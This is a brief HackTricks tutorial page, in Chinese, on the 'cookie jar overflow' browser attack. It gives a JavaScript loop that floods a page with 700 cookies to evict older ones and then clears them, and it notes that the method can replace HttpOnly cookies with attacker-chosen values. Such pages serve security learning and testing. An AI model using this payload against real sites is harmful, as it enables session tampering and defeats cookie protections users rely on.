Cookie Jar Overflow

Support HackTricks

浏览器对每个页面可以存储的 cookie 数量有限制。因此,如果出于某种原因你需要 让一个 cookie 消失,你可以 溢出 cookie 罐,因为最旧的 cookie 会被删除:

// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`;
}

// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}

注意,指向不同域的第三方 cookies 不会被覆盖。

此攻击还可以用于 覆盖 HttpOnly cookies,因为您可以删除它,然后用您想要的值重置它

这篇带实验室的文章 中检查此内容。

支持 HackTricks

Last updated